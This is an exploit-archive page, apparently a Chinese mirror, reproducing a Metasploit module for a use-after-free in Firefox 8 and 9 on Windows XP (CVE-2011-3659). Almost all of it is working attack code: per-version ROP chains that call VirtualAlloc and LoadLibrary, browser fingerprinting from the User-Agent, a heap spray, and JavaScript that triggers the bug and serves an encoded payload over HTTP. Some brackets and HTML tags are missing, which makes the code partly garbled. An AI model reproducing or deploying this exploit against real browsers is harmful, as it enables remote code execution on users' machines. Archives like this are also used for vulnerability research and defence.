发布 2012-05-13 漏洞条目

Mozilla Firefox 8/9 – ‘AttributeChildRemoved()’ Use-After-Free (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Firefox 8/9 AttributeChildRemoved() Use-After-Free',

'Description' => %q{

This module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1.

Removal of child nodes from the nsDOMAttribute can allow for a child

to still be accessible after removal due to a premature notification

of AttributeChildRemoved. Since mFirstChild is not set to NULL until

after this call is made, this means the removed child will be accessible

after it has been removed. By carefully manipulating the memory layout,

this can lead to arbitrary code execution.

'License' => MSF_LICENSE,

'Author' =>

[

'regenrecht', #vulnerability discovery

'Lincoln<lincoln[at]corelan.be>', #Metasploit module

'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module

'References' =>

[

[ 'CVE', '2011-3659' ],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/upcoming/'], #ZDI-CAN-1413

[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708198' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f'

'Payload' =>

{

'BadChars' => "\x00\x0a\x0d\x34",

'DisableNops' => true,

'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff" #ADD ESP, -5DC

'Platform' => 'win',

'Targets' =>

[

[ 'Automatic', {} ],

[

'Windows XP - Firefox 8 / 8.0.1',

{

'Ret' => 0x0C0C0C0C,

'OffSet' => 0x606,

'Size' => 0x40000,

'StackFlip' => 0x7818f50b, # XCHG EAX,ESP # POP EBP # POP EBX # RETN [MOZCRT19.dll]

'PopEsp' => [ 0x0c0c0c0c, 0x0c0c0c0c, 0x7819548e, 0x0c0c0c10 ],

'FF' => 8,

'OS' => 'XP'

}

[

'Windows XP - Firefox 9',

{

'Ret' => 0x0C0C0C0C,

'OffSet' => 0x606,

'Size' => 0x40000,

'StackFlip' => 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]

'PopEsp' => [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]

'FF' => 9,

'OS' => 'XP'

}

[

'Windows XP - Firefox 9.0.1',

{

'Ret' => 0x0C0C0C0C,

'OffSet' => 0x606,

'Size' => 0x40000,

'StackFlip' => 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]

'PopEsp' => [ 0x0c0c0c0c, 0x10006a11, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]

'FF' => 901,

'OS' => 'XP'

}

]

'DisclosureDate' => 'Dec 6 2011',

'DefaultTarget' => 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def junk(n=4)

return rand_text_alpha_upper(n).unpack("L")[0].to_i

end

def nop

return make_nops(4).unpack("L")[0].to_i

end

def get_rop_chain(ffversion,osversion)

# mona.py ROP chains

rop_chain = []

if ffversion == 8 and osversion == "XP"

rop_chain =

[

0x7819c80a, # POP EAX # RETN [MOZCRT19.dll]

0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]

0x7813af5d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]

0x78197f06, # XCHG EAX,ESI # RETN [MOZCRT19.dll]

0x7814eef1, # POP EBP # RETN [MOZCRT19.dll]

0x781503c3, # & call esp [MOZCRT19.dll]

0x781391d0, # POP EBX # RETN [MOZCRT19.dll]

0x00000001, # 0x00000001-> ebx

0x781a147c, # POP EDX # RETN [MOZCRT19.dll]

0x00001000, # 0x00001000-> edx

0x7819728e, # POP ECX # RETN [MOZCRT19.dll]

0x00000040, # 0x00000040-> ecx

0x781945b5, # POP EDI # RETN [MOZCRT19.dll]

0x78152809, # RETN (ROP NOP) [MOZCRT19.dll]

0x7819ce58, # POP EAX # RETN [MOZCRT19.dll]

nop, # nop

0x7813d6b7, # PUSHAD # RETN [MOZCRT19.dll]

].flatten.pack("V*")

elsif ffversion == 9 and osversion == "XP"

rop_chain =

[

0x10019ee9, # POP ECX # RETN [nspr4.dll]

0x10020060, # ptr to &LoadLibraryW() [IAT nspr4.dll]

0x1000f994, # MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]

0x10012ad0, # POP EBX # RETN [nspr4.dll]

0x00000000, # clear ebx

0x10006f41, # ADD EBX,EAX # XOR EAX,EAX # RETN

0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]

0x1000d6ce, # RETN (ROP NOP) [nspr4.dll]

0x10019ee9, # POP ECX # RETN [nspr4.dll]

0x0c0c0c50, # xul.dll (Unicode string)

0x1000eeb4, # POP EDI # RETN [nspr4.dll]

0x1001f145, # ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary

0x10004860, # POP EAX # RETN [nspr4.dll]

0x1001f111, # ADD ESP,10 # POP ESI # RETN [nspr4.dll]

0x100058B3, # PUSHAD # CALL EAX [nspr4.dll]

junk, # win some, lose some

0x00750078, # xu

0x002e006c, # l.

0x006c0064, # dl

0x0000006c, # l

0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]

0x00A63374, # Delta to IAT VirtualAlloc()

0x10018ada, # ADD EAX,EDX # RETN [nspr4.dll]

0x10008ddf, # MOV EAX,DWORD PTR DS:[EAX] # RETN ** [nspr4.dll]

0x1000a031, # POP ESI # RETN ** [nspr4.dll]

0x1000a031, # POP ESI # RETN ** [nspr4.dll] (readable address)

0x10013f1f, # XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]

0x1000687b, # POP EBP # RETN [nspr4.dll]

0x1001a59b, # & call esp [nspr4.dll]

0x10012ad0, # POP EBX # RETN [nspr4.dll]

0x00000001, # 0x00000001-> ebx

0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]

0x00001000, # 0x00001000-> edx

0x1001069e, # POP ECX # RETN [nspr4.dll]

0x00000040, # 0x00000040-> ecx

0x1000eeb4, # POP EDI # RETN [nspr4.dll]

0x1000d6ce, # RETN (ROP NOP) [nspr4.dll]

0x10004860, # POP EAX # RETN [nspr4.dll]

0x100058B3, # PUSHAD # CALL EAX [nspr4.dll]

].flatten.pack("V*")

elsif ffversion == 901 and osversion == "XP"

rop_chain =

[

0x1000bfc1, # POP ECX # RETN [nspr4.dll]

0x10020060, # ptr to &LoadLibraryW() [IAT nspr4.dll]

0x1000f986, # MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]

0x1000f5ef, # POP EBX # RETN [nspr4.dll]

0x00000000, # clear ebx

0x10006f51, # ADD EBX,EAX # XOR EAX,EAX # RETN

0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]

0x1001ea03, # RETN (ROP NOP) [nspr4.dll]

0x1000bfc1, # POP ECX # RETN [nspr4.dll]

0x0c0c0c50, # xul.dll (Unicode string)

0x1000eea6, # POP EDI # RETN [nspr4.dll]

0x1000dda4, # ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary

0x10004870, # POP EAX # RETN [nspr4.dll]

0x10001ab4, # ADD ESP,10 # POP ESI # RETN [nspr4.dll]

0x100058c3, # PUSHAD # CALL EAX [nspr4.dll]

junk, # win some, lose some

0x00750078, # xu

0x002e006c, # l.

0x006c0064, # dl

0x0000006c, # l

0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]

0x00A63374, # Delta to IAT VirtualAlloc()

0x10018acf, # ADD EAX,EDX # RETN [nspr4.dll]

0x10008dd1, # MOV EAX,DWORD PTR DS:[EAX] # RETN ** [nspr4.dll]

0x1000e0b8, # POP ESI # RETN ** [nspr4.dll]

0x1000e0b8, # POP ESI # RETN ** [nspr4.dll] (readable address)

0x10013f14, # XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]

0x100162d5, # POP EBP # RETN [nspr4.dll]

0x10019d12, # & push esp # ret [nspr4.dll]

0x1000f5ef, # POP EBX # RETN [nspr4.dll]

0x00000001, # 0x00000001-> ebx

0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]

0x00001000, # 0x00001000-> edx

0x10007e46, # POP ECX # RETN [nspr4.dll]

0x00000040, # 0x00000040-> ecx

0x1000eea6, # POP EDI # RETN [nspr4.dll]

0x1001ea03, # RETN (ROP NOP) [nspr4.dll]

0x10004870, # POP EAX # RETN [nspr4.dll]

0x100058c3, # PUSHAD # CALL EAX [nspr4.dll]

].flatten.pack("V*")

end

return rop_chain

end

def on_request_uri(cli, request)

# Re-generate the payload.

return if ((p = regenerate_payload(cli)) == nil)

# determine the target FF and OS version

ffversion = ""

osversion = ""

agent = request.headers['User-Agent']

if agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/9\.0/

vprint_error("This browser version is not supported: #{agent.to_s}")

send_not_found(cli)

return

end

my_target = target

if my_target.name == 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/

my_target = targets[1]

elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0\.1/

my_target = targets[3]

elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0/

my_target = targets[2]

elsif vprint_error("This Operating System is not supported: #{agent.to_s}")

send_not_found(cli)

return

end

target = my_target

end

# Create the payload

print_status("Creating payload for #{target.name}")

rop = [ target['StackFlip'] ].pack("V")

rop << get_rop_chain(target['FF'],target['OS'])

rop_js = Rex::Text.to_unescape(rop, Rex::Arch.endian(target.arch))

code = payload.encoded

code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))

popesp = target['PopEsp'].flatten.pack("V*")

popesp_js = Rex::Text.to_unescape(popesp, Rex::Arch.endian(target.arch))

filler = [ junk ].pack("V*")

filler_js = Rex::Text.to_unescape(filler, Rex::Arch.endian(target.arch))

# random JavaScript variable names

i_name = rand_text_alpha(rand(10) + 5)

rop_name = rand_text_alpha(rand(10) + 5)

code_name = rand_text_alpha(rand(10) + 5)

offset_length_name = rand_text_alpha(rand(10) + 5)

randnum1_name = rand_text_alpha(rand(10) + 5)

randnum2_name = rand_text_alpha(rand(10) + 5)

randnum3_name = rand_text_alpha(rand(10) + 5)

randnum4_name = rand_text_alpha(rand(10) + 5)

paddingstr_name = rand_text_alpha(rand(10) + 5)

padding_name = rand_text_alpha(rand(10) + 5)

junk_offset_name = rand_text_alpha(rand(10) + 5)

single_sprayblock_name = rand_text_alpha(rand(10) + 5)

sprayblock_name = rand_text_alpha(rand(10) + 5)

varname_name = rand_text_alpha(rand(10) + 5)

thisvarname_name = rand_text_alpha(rand(10) + 5)

attr_name = rand_text_alpha(rand(10) + 5)

foo_name = rand_text_alpha(rand(10) + 5)

bar_name = rand_text_alpha(rand(10) + 5)

ni_name = rand_text_alpha(rand(10) + 5)

small_name = rand_text_alpha(rand(10) + 5)

addr_name = rand_text_alpha(rand(10) + 5)

run_name = rand_text_alpha(rand(10) + 5)

container_name = rand_text_alpha(rand(10) + 5)

# corelan precise heap spray:

# https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/

# + trigger routine

spray = <<-JS

var #{rop_name} = unescape("#{rop_js}");

var #{code_name} = unescape("#{code_js}");

var #{offset_length_name} = #{target['OffSet']};

for (var #{i_name}=0; #{i_name} < 0x320; #{i_name}++)

{

var #{randnum1_name}=Math.floor(Math.random()*90)+10;

var #{randnum2_name}=Math.floor(Math.random()*90)+10;

var #{randnum3_name}=Math.floor(Math.random()*90)+10;

var #{randnum4_name}=Math.floor(Math.random()*90)+10;

var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString();

#{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString();

var #{padding_name} = unescape(#{paddingstr_name});

while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name};

#{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name});

var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name};

#{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length);

while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name};

#{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2);

#{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString();

#{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString();

#{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';";

eval(#{thisvarname_name});

}

function #{run_name}() {

var #{attr_name} = document.createAttribute("#{foo_name}");

#{attr_name}.value = "#{bar_name}";

var #{ni_name} = document.createNodeIterator(

#{attr_name}, NodeFilter.SHOW_ALL,

{acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},

false);

#{ni_name}.nextNode();

#{ni_name}.previousNode();

#{attr_name}.value = null;

const #{addr_name} = unescape("#{filler_js}");

var #{container_name} = new Array();

var #{small_name} = unescape("#{popesp_js}")

while (#{small_name}.length != 30)

#{small_name} += #{addr_name};

for (#{i_name} = 0; #{i_name} < 1024*1024*2; ++#{i_name})

#{container_name}.push(unescape(#{small_name}));

#{ni_name}.referenceNode;

}

# build html

content = <<-HTML

<html>

<head>

<body>

#{spray}

</script>

</head>

</svg>

</body>

</html>

HTML

print_status("Returning HTML")

# Transmit the response to the client

send_response(cli, content, {'Content-Type'=>'text/html'})

end

作者: Metasploit
日期: 2012-05-13
类别: remote
平台: windows

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow